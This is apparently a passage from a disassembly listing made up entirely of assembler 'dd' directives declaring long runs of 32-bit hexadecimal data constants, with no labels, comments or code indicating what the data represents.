		dd 8C5EBDD6h, 65611Fh, 0DFAC4D5Eh, 501D50E5h, 3C07C587h
		dd 9DA234F1h, 175C3200h, 2851CCECh, 0C6DCB2AEh,	3563F58Fh
		dd 2D77A34Eh, 0B0569BCh, 20F94C19h, 1824C2D7h, 9FAB808Ch
		dd 5B345346h, 6D3C2CB1h, 197DDD25h, 55D1F9DCh, 7FFEDBCEh
		dd 0F4F434CAh, 7644301Eh, 451BC284h, 1E135CF0h,	0AE875324h
		dd 6998DDBEh, 0C0F5A9D8h, 7B9D3C46h, 772B1825h,	0F238A364h
		dd 0E7F74175h, 52B3AC4Fh, 97C68AEFh, 0F2397A0Dh, 284A4711h
		dd 300A53A0h, 0C10E4297h, 0B2675BFh, 7E9E1045h,	0CDF0DD3Ch
		dd 0A46C3B40h, 6ABA307Dh, 0E26BC4B1h, 0E5B35B49h, 0F33E5661h
		dd 39F94FEDh, 809AC397h, 1CACF272h, 0FB61FC0Dh,	0DF1BB56Dh
		dd 0B1C6CDFAh, 0E5F74DDBh, 0CDF07FC6h, 26C6139Eh, 0D2DAD44Eh
		dd 0BC33D417h, 0B6B79890h, 37813B83h, 98E9DB32h, 5A9B07CAh
		dd 56AC04E6h, 6879218Ch, 0DD970040h, 4FA38CF0h,	6D4E9BA0h
		dd 51FD722Ch, 56684303h, 863B55AAh, 2A16C191h, 0FEBAB63Bh
		dd 0F6D8F088h, 0CA162DDDh, 65FDC373h, 54F24C40h, 0EE4FE6B8h
		dd 0B1A14A4Eh, 9275EE5h, 17FDCBA8h, 0E19F05B2h,	822D9167h
		dd 78A14F83h, 48BB6DAFh, 63772018h, 5F2F3EE8h, 896C47F5h
		dd 96D01615h, 8D1DD709h, 8D65632h, 0C426D905h, 3C099A4Eh
		dd 0C46D0A13h, 1119EEE1h, 37AEF1E8h, 9639D68Ch,	1AB7FA43h
		dd 7E936E7Ah, 2F166963h, 0F1418BCDh, 0C2FEBEB3h, 20A45693h
		dd 0EA9341BCh, 0D3BDF7B0h, 0A59951CCh, 3EB67CFAh, 48CDEA65h
		dd 0A5AA5956h, 7193F1BEh, 4417414Ah, 4B705863h,	97E0496Ch
		dd 0AA894656h, 13AAB1D3h, 0D0E4DF75h, 4F5A2482h, 0CEE784DDh
		dd 0FA67E81Bh, 8508AC09h, 0EDE2FD6Ah, 5D4B2137h, 0D4CAAC2Ch
		dd 2D131A4Bh, 0CB6EF808h, 0D350BA01h, 3070B6ACh, 0B925D2Eh
		dd 53EC045Fh, 8D2893B6h, 0E806C200h, 54913FDAh,	73C42E15h
		dd 0EC7FEDDBh, 0DE2500DBh, 0C613EDA4h, 0AFBC20E0h, 3F593C08h
		dd 7F564BE8h, 855DEFD0h, 0B6225A4Ch, 7B17F210h,	0B5D541B3h
		dd 0A3D159CEh, 9050C954h, 0D7518679h, 231751DBh, 0B132AF73h
		dd 10451D84h, 0DD52192Ch, 0A620ABE6h, 90D50CF6h, 2A73AC17h
		dd 8B03888Ah, 6CEF79F1h, 0B8014DA6h, 5CD7D2FDh,	0B9142C78h
		dd 9BAD7D96h, 0A1033F3Dh, 3024B310h, 26CD4AB3h,	0EE34A850h
		dd 50980C1Ch, 0F3D8B904h, 867A28ADh, 72226362h,	0F7125B71h
		dd 0B13C7988h, 0B899163Ah, 30F65837h, 0F2EDF8C5h, 347A573Ch
		dd 0F0BF451h, 9AC34099h, 0B6565A59h, 52154919h,	0DEB0C699h
		dd 5087F1F1h, 0FD7A7F4Ch, 7460F58Dh, 0E6406D2Ah, 0FDB99DE2h
		dd 0A09197F3h, 4D566F91h, 9292EA4Ch, 4F57C917h,	0A4259510h
		dd 0A5CA3EC3h, 0C48D5E52h, 0F1E9C59Fh, 0CB26FBBBh, 1235D155h
		dd 46F5F99Eh, 6C3070C1h, 3E85E8D7h, 31D9CB22h, 5C7A9F81h
		dd 0C423A7EBh, 0F01238B1h, 56BC4AABh, 12D90ED0h, 6D165CF9h
		dd 0E7DFAE5h, 3BB25017h, 0C6EFF4DFh, 53F1435Ah,	0BCDF5A79h
		dd 38C9C8F2h, 31150796h, 7B090F0h, 4523CE46h, 0D03CAC8Ah
		dd 5076402Fh, 8EEE8EE7h, 0C48C1FF6h, 3D602214h,	0D935CD09h
		dd 2C4A5932h, 0DC1CDF85h, 21AE9B8Eh, 0D4B089B3h, 3A0AEB1h
		dd 327A5100h, 0A2800698h, 1262927Dh, 57ADC271h,	0B703BF6Eh
		dd 0AF5EEECFh, 0C7FB0D32h, 39A3F1D3h, 0EB92155Ch, 943C5C60h
		dd 431907F6h, 62365616h, 31CDFCADh, 0A5EA52F1h,	92B3F772h
		dd 6CE743E0h, 0D485B96h, 67E90FC0h, 0A942EFBh, 0C854DFBFh
		dd 8BAB5E30h, 5E562D8Bh, 3B55CD5Bh, 0CA29028Eh,	0A8C88D84h
		dd 7754B8F7h, 0B31C4CACh, 207C45BDh, 0A9A5A235h, 5C307553h
		dd 0A74FBFF6h, 7564E3C2h, 5796B5EAh, 16024EB2h,	0B586FA5Bh
		dd 0FC6E3110h, 0CFEA0010h, 568C6929h, 0F5120F96h, 823CB52h
		dd 2E7749EFh, 2DD82A8Ah, 0BB3D6A79h, 1E5656C1h,	44B8BA16h
		dd 38013C93h, 0F21EA20Eh, 6705428Fh, 0FB9C1C92h, 0A7C0A78Bh
		dd 0E92DE2CCh, 0D4DA3593h, 3CD4B28h, 3725DC8Bh,	654C9B40h
		dd 0D724B6A6h, 0D8393595h, 450BF214h, 9A6DF7E8h, 6E09919Bh
		dd 0B4327244h, 2FF613D0h, 82C4FCDBh, 714AFF20h,	4AB23655h
		dd 966CE295h, 0D9E656B6h, 477C54CDh, 7ACDBB39h,	0EB33020h
		dd 0DB7B59FEh, 0F242B757h, 76776F3Fh, 2E7A34D9h, 66996757h
		dd 208618B5h, 0F804B8F0h, 9CDB1EFEh, 23059FF4h,	73B34284h
		dd 755218A9h, 0F8312DB8h, 47B6A3CCh, 474CF0FEh,	3B21932Ah
		dd 1AC0D1F9h, 6414A55Dh, 0A3554CA6h, 0BFC32DF6h, 21BEE2F1h
		dd 0ABC35C49h, 4CB1C777h, 0B8FFC2F6h, 47C8DAC3h, 0A0957856h
		dd 530060CFh, 4C8BD191h, 626ABA6Ch, 54A78D60h, 12BF615h
		dd 0C1ECC1C0h, 0DBBA19A1h, 527B4F86h, 0F1519215h, 58777182h
		dd 29DF3B21h, 0E49871AEh, 0D7165402h, 94B18ACCh, 0EB72707h
		dd 0C3D99FDh, 6BA142C0h, 0D84237C2h, 2C148EADh,	395F46C6h
		dd 0E668D7FEh, 0E1DC2B11h, 24770DDBh, 12B3206Eh, 0DED479E7h
		dd 0A17022A2h, 46FBFF52h, 0BBDCF647h, 22487673h, 0ACB28A05h
		dd 43E75437h, 0C5E30F76h, 647D9FE1h, 5D820FAEh,	0E46E6A4Dh
		dd 6092FBEAh, 6E6A333Fh, 6B826193h, 0BDABE724h,	9F28CEE0h
		dd 434F4E9Fh, 0B6786302h, 583C220Bh, 56A6DF0h, 0B64637FAh
		dd 0D74DBF02h, 0B9593F52h, 0A5FE95D2h, 4A1703A2h, 5B0218A2h
		dd 4E053CAFh, 11A722D2h, 27CAB0B8h, 0BCF18D42h,	79D752C9h
		dd 0A4EB845Ch, 8508AFE0h, 0E7C5B7h, 45509D2h, 112103A7h
		dd 74BB7FB0h, 2E14EAB2h, 0B37F497h, 1535E990h, 3E8ACC37h
		dd 0ED32B8B2h, 0A48D2047h, 2F58B26Dh, 0C9B959Fh, 0CA505836h
		dd 716E4C93h, 0D4A18551h, 0F2F680DEh, 0F8CCD9B7h, 6DBD654Dh
		dd 0A347CE66h, 64416A6Ah, 8FAB26B6h, 280368DEh,	0CC311712h
		dd 5BCA507Ch, 0E3DDDF3Ch, 0D2841F58h, 0E71E3F09h, 5486D540h
		dd 0A6C3319Bh, 0DA5FA60Fh, 2B2CE685h, 0F51B3C7Fh, 185BA228h
		dd 863CB41Ch, 0B908B3A2h, 7189B7EFh, 56D6A7Ch, 8BB23DDEh
		dd 0F014C3DDh, 5361ECA7h, 0F7082DFCh, 8A3CC8BDh, 611D56A7h
		dd 1858C3C1h, 43586934h
		dd 3FFBDC33h, 0FC8129FDh, 6E608B56h, 38D5F608h,	284CBF3h
		dd 214A154Eh, 2E44254Ch, 0E03A17BDh, 0EEDDF34Fh, 14559054h
		dd 16650378h, 7093B57Eh, 0FC1C7EC9h, 4B9F023Eh,	0F63BD15Dh
		dd 760EB4B8h, 0C195A3FFh, 0A06BA3B1h, 35358677h, 24CA5B2Eh
		dd 6FBEB521h, 95DD4AE7h, 4F38ED8Fh, 2139C4CAh, 6BCBA43Bh
		dd 88EE563Dh, 643B0201h, 0C20FC253h, 0BDB4808Dh, 36A09951h
		dd 2E3877EDh, 0DC6B81C9h, 0C869A885h, 738FCAFh,	62465861h
		dd 0CA8A7990h, 0CC902953h, 585A78B3h, 255137E7h, 7697128Ah
		dd 0D587717Ah, 0E535D49Eh, 0A34E12D8h, 110CB455h, 0C46A7E77h
		dd 0DB8C00E5h, 0B82CC5A6h, 0BCD517F8h, 5C253348h, 0CE8B527Ch
		dd 0AD8CCDA5h, 0E377C51Bh, 51F12A58h, 915E138Ah, 4DF4FD86h
		dd 5FBE505Eh, 0A97CE03Ah, 503EDB78h, 93916307h,	0D5B3F5DFh
		dd 8832E32Ch, 4FA90476h, 27484F67h, 41702F56h, 0FFDF6756h
		dd 0A25EB528h, 941ADDE7h, 0FEFE0128h, 4AF04113h, 0B53B0C67h
		dd 8025534Fh, 1E557B0Bh, 0B82E90A5h, 7C9515E7h,	0C96B234h
		dd 0AAB12371h, 0B880F4F7h, 3D7999A8h, 1E62A1F3h, 0DFC8D7C7h
		dd 0A34820CAh, 725C864Fh, 81A06BF7h, 0FF16EC6Eh, 993DD50h
		dd 0DFB3B1EFh, 1FC764E5h, 551D46BAh, 7AEDD6FDh,	751333FAh
		dd 2ED0F3D5h, 57C27F9Eh, 0C9475C90h, 0EAD2A9EBh, 2B2CAD4Bh
		dd 0EB616619h, 4658DE51h, 9DBA5BDFh, 5392B584h,	302A7859h
		dd 6B44301Ch, 7EEE788Fh, 0DE9F3D6Fh, 19EA7C2Dh,	0FB1E645Ch
		dd 0B8FE333Eh, 1A6D7763h, 4CF6739Eh, 7DC02892h,	289CA8C3h
		dd 0F3B5928Dh, 0B6D10B6h, 0BE75F74Bh, 86B098E1h, 1A08B979h
		dd 4CC059B2h, 4C4ADFE0h, 0D06A662Fh, 5915751Fh,	39251072h
		dd 8E5796B3h, 0C9EFE2B3h, 7767BF3Ah, 5EAE9612h,	6E3816A0h
		dd 52E5DC5Bh, 245A026Ch, 61429288h, 0EF0B658h, 0B39BDA73h
		dd 0F77F6F2Dh, 564E9384h, 25D5C6BCh, 0A5C3FE16h, 717030D5h
		dd 0C6132BF2h, 9CD7F27Ah, 2E6F96C2h, 0FAC401BFh, 1A5717DFh
		dd 1E1DA5B7h, 2B5D01A6h, 6EF8FC80h, 2C14BFAAh, 0D663AFA8h
		dd 352B96C8h, 6D583B44h, 0E9340D8Fh, 0C835921Fh, 0E537F970h
		dd 0FD919C47h, 41898984h, 176453EBh, 87573B41h,	3BBE4494h
		dd 475EF2E0h, 0E2C53478h, 695DDAF1h, 2495D9D5h,	0FCA7D4B5h
		dd 0D94F8848h, 1E4E0B9Fh, 0C47C120Ch, 67631394h, 4C279FA5h
		dd 1A7B1D21h, 2142B850h, 15CC293Dh, 4D8F71FCh, 5E5A9203h
		dd 23A75807h, 0D34D1C56h, 0A91D1810h, 0CBE2636h, 0B14DB331h
		dd 0EDB41938h, 78B61004h, 3FEF4D80h, 5BE959BEh,	697327A6h
		dd 446AE7F5h, 8F0554CAh, 0CE0DC3B2h, 0C0A9455Ch, 5C766236h
		dd 0BD660573h, 0AD5BF8Fh, 7ABF6CE9h, 60A1EF69h,	0BBB52D71h
		dd 0FDED776Eh, 0E43B2F56h, 33E506F1h, 69002D67h, 0AD583983h
		dd 6E17CE4Bh, 30FD4D8Bh, 93396247h, 8257ABDCh, 1FA5F41Ch
		dd 531025AEh, 5E848607h, 0EB454975h, 9A7834BFh,	11A643h
		dd 0AE20FC35h, 86612437h, 585F68DFh, 61B0B9D1h,	4A93781Ch
		dd 47526E8Bh, 0F6A02189h, 65A6E842h, 0A681E8C9h, 0D2E5149Eh
		dd 19702D48h, 0B9C516BEh, 46991A08h, 50F32971h,	744748A8h
		dd 0DF3F3A37h, 0F2B07BEBh, 57E66E34h, 1CC6BF62h, 1FDC1785h
		dd 7C78272Ch, 925E3224h, 447D2BF7h, 573E0677h, 0EEF5682h
		dd 0A095B53Dh, 37255FC4h, 68D6D50Eh, 66EB0589h,	5B3BCE22h
		dd 5373C306h, 691C59A8h, 0DBC2C6E6h, 94ADB676h,	0C161904Ch
		dd 0CA9CDB9Bh, 0BFFF225Bh, 43F47E8Bh, 13832D95h, 0A85EC492h
		dd 57B8582Bh, 0C4D6437Ch, 0E49A0EFFh, 0E89035DAh, 0DBEA01DAh
		dd 0FE93D80Eh, 19D59AAAh, 403A3558h, 41F75361h,	63A31399h
		dd 0FF3A249Bh, 0D52CFED4h, 2CD1C132h, 8498ACCDh, 4DB2D5B5h
		dd 39EEE063h, 0AFCCF092h, 74BB593Ch, 0D9998A50h, 1D98A14Ah
		dd 6ECEA7AAh, 0D9219F33h, 14687C8Eh, 5419A1CAh,	842658D8h
		dd 8AECF605h, 7F77499Eh, 8CA41A4Bh, 20D3CAB5h, 0F86D9021h
		dd 4A41A677h, 1868D43Dh, 178FD911h, 0F1A1F25Dh,	520DD818h
		dd 1540DF09h, 0E256D8F4h, 0BD222444h, 0E779AAC8h, 6EC7783Ch
		dd 0E0422C8Bh, 847C1BDEh, 0D1FBD2D5h, 342AD4A2h, 9AB51040h
		dd 888EFF4Ah, 9A419400h, 5471DC2h, 476DA6A5h, 5658866Eh
		dd 2C2015BBh, 0AB6027EDh, 6678CC4Bh, 485DDE6h, 0A1BA9518h
		dd 3D84A103h, 0FCFBB20Eh, 0F35C4A8Ch, 0AEE8212Ch, 2457DA17h
		dd 2E64F9F5h, 8CA45542h, 4268F580h, 0E512D0FBh,	0C9F3338Ah
		dd 9DA6A58Bh, 0F6DD1B11h, 4155AB90h, 0BEEF5CE8h, 0F60280F4h
		dd 0EC41F056h, 2B730CF7h, 55301816h, 3BADC7D4h,	4D5A1909h
		dd 0FD24DD9h, 0F1601C94h, 908D45D5h, 9EF9490Ah,	8D2A74DEh
		dd 0F7BA7F9Eh, 0A3FDDE59h, 215BE00Fh, 0D7761898h, 7F58675Eh
		dd 8D0E58C3h, 0E2CCC61Dh, 0B16A5DB6h, 0E4527372h, 0CC28C894h
		dd 0ACF12081h, 167BDF61h, 0F8DDCB2Fh, 0CB60CC4Ch, 7FB5313Bh
		dd 3891FF84h, 7419F18Ah, 0D29F328h, 0F50993DBh,	0EEE9D0B6h
		dd 43B9F805h, 395E207Ch, 4D577510h, 1DE70CDAh, 56F68186h
		dd 848CBC1Eh, 0FEE4728h, 398FE132h, 2139351Ah, 209E8815h
		dd 0FA6AA2E1h, 4EB6D68h, 0E09F7563h, 594B53F2h,	0E184F8F2h
		dd 52AFAA31h, 4D640EE1h, 749288E4h, 211AF105h, 0C8453B34h
		dd 67E73ABFh, 58F6FC72h, 0B2A4431h, 0B74FB0D4h,	0DC76BA02h
		dd 28006043h, 686E2A8Fh, 2789144Fh, 7A9C0F63h, 35615593h
		dd 6F67B960h, 80F46655h, 0A5022635h, 48A878F7h,	46B7CEDFh
		dd 9257D63Ah, 58DF4E36h, 0D59715A7h, 127BB8C3h,	85481300h
		dd 249D68A2h, 0A12EEE58h, 0BB365C2h, 7CD77378h,	9C8915EBh
		dd 3BD5D8B6h, 4CC2C6DCh, 0B6C9ED22h, 0C67B8D69h, 931429AEh
		dd 1B5180EDh, 0D52B6894h, 27FA6788h, 42F37452h,	0C23D0B6h
		dd 0FF47CD1Bh, 0FAFEE6EEh, 0E9CB5EFEh, 78456B73h, 9CB27E6Bh
		dd 60D3052h, 0A4B4AD17h, 0D8C7742Bh, 0F944EB72h, 5BE3F42Dh
		dd 798CBA46h, 0E2080493h, 119A2115h, 5E08B52Bh,	9B2DCABAh
		dd 82AE76CEh, 6B784F0Ah, 98070121h, 937DF297h, 8FDAA92Fh
		dd 0D9CFE744h, 658F695Ch, 9A5E2F75h, 3D0C9331h,	5F647E9Fh
		dd 6BC7DB5Dh, 33C1844Fh, 0C0E0606Ah, 26F0625Ch,	0FB29BF6Bh
		dd 0F4CBC0ECh, 0D039CC42h, 0E350983Dh, 82722B5Eh, 0B986F1B9h
		dd 342E895Bh, 3CA98770h, 0C78EF551h, 0FFBD498h,	0C0219CE6h
		dd 0E0D0C091h, 0FFAE469Fh, 12AD75B4h, 381FBB39h, 6D89F8ABh
		dd 678AF6C0h, 0FD6E618Eh, 57C928F0h, 666EC800h,	0A589D2A5h
		dd 9CBE71D0h, 17ED509h,	3744C852h, 566DD0AEh, 0FDD8BD0Ah
		dd 6950171Dh, 0CD706F02h, 7ED8A0E0h, 95CD5063h,	1E6F884Eh
		dd 79BB935Dh, 0F54334E4h, 1FD166A0h, 0C63A2167h, 28596223h
		dd 79FDB4DAh, 0B8499973h, 8F80A3B3h, 0C917AFC9h, 1058D2A8h
		dd 52492039h, 817978D3h, 3A0021B3h, 8335909Bh, 0E114DFBFh
		dd 0F0F45DB1h, 16B5DDEAh, 390E00EEh, 7BBF8E92h,	5D600AF5h
		dd 8D2ED0Fh, 665B4F28h,	35899B1Ch, 0EBE36CE5h, 0DC2F40EEh
		dd 0BBBCFC2Dh, 7D7B1190h, 2C9C83A3h, 4F913E2Ah,	0D3EF9277h
		dd 0E4C1482Fh, 35F792AFh, 237AA677h, 0ACE3F45Bh, 0FA673A6Ah
		dd 0FAE5D882h, 0E9E23795h, 0D32CAA25h, 9173945Bh, 0F510310Ch
		dd 0F54DEC81h, 7B38558Fh, 2F5BD0ADh, 68F5539Eh,	9540ED53h
		dd 711355B1h, 21012280h, 36C88838h, 2BB55D2Ch, 5297BC0Bh
		dd 2AF52326h, 0E48B0E06h
		dd 7CF74AFh, 265F82DEh,	1780F33Ch, 806C5B52h, 0FDE0E2AEh
		dd 64928201h, 0C5C45B8Fh, 37CB6A24h, 2BC298E1h,	41F6275Eh
		dd 3FD8CCCEh, 647CFAAAh, 3236A87Ch, 980F44DBh, 0E47A3324h
		dd 0E56757AEh, 0C5AC368Fh, 77442F27h, 0F86EE655h, 10935B89h
		dd 0A2839A49h, 0AC904D64h, 68E0C817h, 4D27C32Ch, 0ABD63E75h
		dd 12AFDAA9h, 9C2D9483h, 26DCF9B5h, 90A58F63h, 0FC1A5925h
		dd 0EF363A38h, 0FDACD4B7h, 0CDF8A3EEh, 33409DF6h, 0B09A6C29h
		dd 0C4ECA1DDh, 81A3556Ch, 45F6D5E2h, 20D1D93Dh,	4F465716h
		dd 0A603890Bh, 0F1111890h, 2F52C0EFh, 0A7AF18EFh, 71B1E84Dh
		dd 72512955h, 122EEBE9h, 0BB7E4C42h, 483799B4h,	0A68DC51Ch
		dd 1880D856h, 0AD2FC607h, 6EA6A105h, 5A80C648h,	0FD79FF0Bh
		dd 0F36C1EA8h, 0A9FC733Eh, 5630CB40h, 459B5F22h, 0B358743h
		dd 6E121FC3h, 0B3F9D195h, 0EE001F1Fh, 0D0B395AFh, 61EC456Dh
		dd 0BE4EBCB9h, 0AE9418C5h, 0F864C57Bh, 0DA6AC75Eh, 495FC0C6h
		dd 3F64FBBFh, 879AD8D6h, 0A81C0129h, 70A4997Ch,	9E296CA7h
		dd 0D5CE4466h, 0F39C5ADEh, 78D4AFA2h, 1CE67AC9h, 1C91EF75h
		dd 0BC8B41B4h, 0BCC8EA13h, 4851615Ah, 4DB6B58Bh, 0B01D08C9h
		dd 469C3A4h, 0F1C7F3B7h, 2BA9009Ch, 212F79DDh, 0DD8897C6h
		dd 0B7C18F6Ah, 42E5FB60h, 0E20E0FDDh, 0E8C4EF16h, 6A0FA551h
		dd 2BB3C43h, 82E747C8h,	1C444808h, 0BA9CB2E3h, 0EED23E0h
		dd 3F236F1Eh, 0BAB6472Bh, 70F13219h, 0BBD68068h, 783BCEC0h
		dd 0E1B541CDh, 54B3081Dh, 8A09F949h, 0EC7A98CFh, 6C6728A8h
		dd 0A793F890h, 8FF07A47h, 2793FDBAh, 0E152C61Fh, 0F196157h
		dd 47993A06h, 0A601F284h, 0AC5CEA89h, 0A64E702Ah, 45F99E59h
		dd 8D436EF4h, 6B9695E6h, 2A46C0EFh, 3EAF722Bh, 2422B835h
		dd 7ADB72B7h, 4C19B2E4h, 45B18560h, 1AED8BD5h, 9C4A528Eh
		dd 3592C128h, 3D60CDC8h, 1DEE93FCh, 79B932Dh, 854C3F91h
		dd 4D03312Bh, 88EA8FEEh, 210FE5D1h, 5368FB99h, 0F018D381h
		dd 0BB405BE5h, 0B9EC788Bh, 0EC7DBCC8h, 2B62D170h, 0B12744BFh
		dd 208F121Ch, 49817854h, 2D2BD085h, 25223E47h, 6345FA6Ah
		dd 63D20E99h, 183BEBEBh, 5FE0E41Dh, 3520D753h, 0E09906D1h
		dd 0AE3493C0h, 629C9637h, 9435E13Ah, 0BAD8B23h,	5D540A8Fh
		dd 105CC469h, 0D49322BBh, 102145C8h, 42BAD90Eh,	0B0DE4CD6h
		dd 881BA0Ch, 99DFF715h,	0DC4A8AE2h, 0C501CC04h,	88939E6Ah
		dd 222C32A3h, 4531BF63h, 0D85FB7A3h, 43798062h,	0F835916Ah
		dd 0BF8B6987h, 36BD9C1Eh, 3ECC4BEDh, 39AE32F2h,	68B25E74h
		dd 8FA07A61h, 2C95E114h, 425A7321h, 0C914C7ACh,	0B7FABB3Ah
		dd 53B2B7C5h, 9CD9C81Eh, 0DA1656E3h, 7E855D11h,	28549B9h
		dd 77E0B26Fh, 99852BA5h, 0C040C2F2h, 60178801h,	346885E3h
		dd 29D46EEDh, 91C3A391h, 74851AE5h, 0CD55D9B7h,	3484C4D6h
		dd 0E22CE225h, 382F77ECh, 2EF8CA6Ah, 0B7E19B49h, 76E51240h
		dd 0BBA2E6E4h, 0EC843F23h, 0C0D1DAA5h, 0B76E9501h, 17558E68h
		dd 9A156CBAh, 0D59BE656h, 3481D37Eh, 6518A759h,	4FAAA490h
		dd 9DCDB36Eh, 5C4F0DD9h, 396F2776h, 6C41B7ACh, 0C3A55409h
		dd 55A518A4h, 3390C748h, 0F71EACBh, 0B0C85516h,	0FA6D35D6h
		dd 0A58EBF9Bh, 0C5B86322h, 997867C1h, 4A7E8B77h, 7F546466h
		dd 5EE17A7Ah, 60D9F230h, 973A239Eh, 0F4B2DFDDh,	99B7E58Eh
		dd 180CC18Bh, 0C6FCC56Dh, 42A2C3C2h, 9E09B6A1h,	421AE969h
		dd 7E413C2Eh, 9BEC34CEh, 5C5A278h, 0A04F77BBh, 33B83EC7h
		dd 0A48740A6h, 0CCFFAA37h, 0B522E45Ch, 1ED10FFDh, 0C02E43F5h
		dd 7C6E3BE1h, 0CC3CA824h, 0EE15AEBBh, 0AC732179h, 98CB284Bh
		dd 3007CADFh, 0B188AF8Ch, 0AF022C13h, 21E77693h, 0B86D1F25h
		dd 1860F64Dh, 0EAD9A5D5h, 552E7A3Ch, 0A72CF18h,	0C5832F06h
		dd 0D63C41Ch, 0D603CEA3h, 6A54FD6Bh, 0FAADA328h, 0C0B94E29h
		dd 0E390F401h, 175122DCh, 152D5DCDh, 5AF29573h,	41C2B84Eh
		dd 9E453299h, 32B36AC4h, 0B00CDF2Ah, 0E7359EFBh, 0EF093DB8h
		dd 0A36BF845h, 78FCD907h, 40BB4F47h, 0E7831D97h, 644B4E9Fh
		dd 63297462h, 11DA8AC5h, 0E617509Ch, 0DC355212h, 38FA293Ch
		dd 0DC4D868Eh, 0BCD62029h, 50328541h, 46CCF052h, 3730C9F7h
		dd 10FDBAF1h, 10CEF5BEh, 0B10AA7ACh, 41C9247h, 36D46FD1h
		dd 0C3600999h, 0AC53D70Dh, 2E29181Bh, 0DD71E5DDh, 1EB9B541h
		dd 1C4F0BBDh, 0B9EEC4A9h, 56538A21h, 87A042F6h,	68BD87A3h
		dd 0F3467FC7h, 0CC68F93Bh, 97A7D02h, 26FBFB26h,	7B1735Ah
		dd 0FD0C0213h, 258510D6h, 0A38A8688h, 4769F869h, 8F4AEAA4h
		dd 0A62DC6FBh, 0CEEA9CF2h, 8BCCBCADh, 0AB146C01h, 0CC95A54Dh
		dd 5E7A64D1h, 76E41B7h,	0AE596D3h, 0D35D3EACh, 76C8F3BEh
		dd 94FBB245h, 1D667554h, 962BE555h, 648C25EDh, 7F805736h
		dd 4FFA2CD9h, 90E961h, 91D014BAh, 96593A21h, 7CB954E9h
		dd 0F913E216h, 0A4652EB1h, 0AECB13CFh, 0E2B9B916h, 0D2A11D8Ch
		dd 0E3C00B68h, 0D9A8B3B3h, 7C9C4CB1h, 0C8CF9A60h, 5A6F2FA6h
		dd 93F9F7FAh, 0A084606Ch, 7CCB8AD8h, 0EBDB531Eh, 2C467FE5h
		dd 0EC4A0AE7h, 564D346Eh, 36D0B117h, 0AAAAE217h, 0B90EDB67h
		dd 4FE05E4Eh, 0F08E5683h, 0DCA8FE73h, 177D27D7h, 0D4B24D19h
		dd 0CCC419C1h, 8F906C34h, 9859D5A3h, 9C2B8C87h,	0E9F76097h
		dd 0A8478B99h, 160742A3h, 0D55A7439h, 5335C52Dh, 0CBD68D8Bh
		dd 88BE25FEh, 27AAEA2Ch, 0EDCAC2DDh, 0E8A02C96h, 0B315ACAAh
		dd 0F9071AE1h, 0EC775165h, 3A73A526h, 0C8E68FB9h, 0EE985718h
		dd 0A5C3C734h, 26DDAB07h, 9185B366h, 0F1591CADh, 1A56630Fh
		dd 63C29CE4h, 1D631A5Eh, 38F7A54Bh, 0A2198184h,	15C7EADh
		dd 4AAEC564h, 0E506FDDDh, 0A70AD227h, 1D4A4C82h, 3BEA781Dh
		dd 0E6FB9FADh, 0A32DA682h, 93769917h, 0DE937D64h, 0B8F8ED7h
		dd 7E9BB492h, 32685335h, 50EEECD8h, 79BF8A36h, 0E2D61C5Dh
		dd 14AD65D8h, 4E9A3346h, 554CCF44h, 6A22FBD4h, 4956633Eh
		dd 945B783Eh, 0F58A9A4h, 202593DCh, 0CD699D33h,	0FBADFDDFh
		dd 5C46F262h, 88C13DEEh, 0CA30B8B0h, 6EF3FE53h,	50439962h
		dd 0DFC4438Bh, 775DB7Dh, 13AD51D6h, 0DC81F19Bh,	0D356D401h
		dd 8D2A1594h, 73FBDB8Bh, 0BAF34CEBh, 1528CE64h,	0CA75ADB9h
		dd 65136B5Eh, 5DCE05FBh, 0E57A7719h, 84F8B5F1h,	0B279C3Fh
		dd 6B5AB180h, 6B65006Bh, 4F456736h, 0EC27B24Ch,	0E49A0FC2h
		dd 31BE9B99h, 7DE0D31Eh, 27F202Ch, 544605AFh, 69FC1DBh
		dd 0FEAE3436h, 0E3735153h, 0D9F4A422h, 0CD1A90CCh, 690E6F23h
		dd 0DE669B18h, 899FAA85h, 0CBE2D526h, 0D419F85h, 98B7F278h
		dd 321F36A2h, 4E9C58E0h, 90819A52h, 3646E9A2h, 32A7E209h
		dd 0FB380DE3h, 0AD6F5B70h, 0A59884BCh, 0D4072544h, 0E85795ECh
		dd 7344B2D1h, 0B373EB89h, 328A3D41h, 8C7F9085h,	0E7FFF50Bh
		dd 15EE2D78h, 33B28041h, 0FD056551h, 0A4328FF5h, 43A81496h
		dd 517AAD9Dh, 0D53EDBFDh, 0B6C59BFAh, 62A326E0h, 0CDE50EE2h
		dd 1F159E2Dh, 40D2393h,	73E3B4A8h, 0CDD9B8ADh, 7B85AA32h
		dd 6757800Bh, 0EDB840BBh, 0C99DA04Bh, 98D6835Bh, 0CB6856E3h
		dd 0B0DEAB46h, 79644B33h, 0CBD79551h, 0C4DC6332h, 184FC09Fh
		dd 0F63BDD55h, 3B4297E4h, 0BBDB13D5h, 7EB69B07h, 7CAD3502h
		dd 814E6CA4h, 325E3722h, 0A98B9C49h, 0CFE864FCh, 312EA32Bh
		dd 7C07DAEEh, 2590B33Dh
		dd 0FE446716h, 75BFC826h, 670513A5h, 0F283E21Bh, 0A9E424FFh
		dd 93D3927h, 4B20482Fh,	9954F05Bh, 722FDA7Dh, 8515B333h
		dd 0D2D66082h, 4A51C8C6h, 31100058h, 7131637Bh,	0BE46A2DAh
		dd 8F5AD573h, 0B5112004h, 963806ECh, 0E8F5ABC6h, 707F8C46h
		dd 0FC076D5Ch, 267969E5h, 0D66388E0h, 0D6CFB4BCh, 0A2F52FFAh
		dd 0A67D77Dh, 0F0D60192h, 484F84B1h, 0DE4A6F50h, 389FA111h
		dd 705F5C03h, 0AB8C73B7h, 3F528753h, 14393808h,	7740EBB6h
		dd 7AE29E12h, 0F5F486FBh, 2F35E829h, 7A24A0ACh,	2D6041Ah
		dd 366D2C5Dh, 0A0F54823h, 0E1C6A30Ah, 52D92A02h, 34D4F0BEh
		dd 73139BCCh, 3D705EEDh, 0CFC2575Ch, 14CCE10Fh,	261E6669h
		dd 0B0C29B80h, 44661461h, 361B214Bh, 1FF921A0h,	0DC3C819Bh
		dd 39152E8Ch, 0C6C176BCh, 0A8CD2760h, 40262018h, 0F8935BF2h
		dd 0EB8EBF25h, 8D3950C5h, 0B58F3DC0h, 0F6B606A7h, 64C7DE04h
		dd 0F3EA3604h, 9C7B2D6Ah, 0E41E3CBh, 691C9218h,	9DC2BBBBh
		dd 607BDEF3h, 3B097C7Fh, 549AEE45h, 9C36E26Eh, 0EEB20B78h
		dd 44B00ABh, 0F1F2CF1Ch, 0AFE1C7D3h, 518B8EFFh,	80F100A2h
